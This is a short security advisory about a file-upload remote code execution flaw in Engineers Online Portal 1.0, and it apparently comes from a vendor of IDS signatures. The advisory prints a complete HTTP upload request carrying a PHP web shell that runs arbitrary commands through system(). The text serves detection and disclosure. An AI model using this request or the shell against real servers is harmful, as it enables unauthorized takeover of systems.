Engineers Online Portal 1.0 Remote Code Execution


Application Details

Engineers' Online Portal is a messaging system which allows engineers to be able to send and receive messages, as well as upload and download files. It also notifies engineers when others are online.


Vulnerability

Engineers Online Portal could allow a remote attacker to upload arbitrary files, caused by the improper validation of file extensions by the teacher_avatar.php script.


Identification

By sending a specially crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.


POST /teacher_avatar.php HTTP/1.1

------WebKitFormBoundarygBJiBS0af0X03GTp
Content-Disposition: form-data; name="image"; filename="vuln.php"
Content-Type: application/octet-stream

<HTML>
<BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="x">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?php
if($_REQUEST['x']) {
  system($_REQUEST['x']);
  } else phpinfo();
?>

Detection

By turning this into a traffic file and matching rule, we are able to detect arbitrary file upload attempts to the application.


Coverage

Idappcom has created signatures 8022010 and 8022011 along with traffic files.


References

Engineers Online Portal 1.0 - File Upload Remote Code Execution - Exploit Database

Engineers Online Portal 1.0 - Shell Upload - Packet Storm Security


Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can share your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional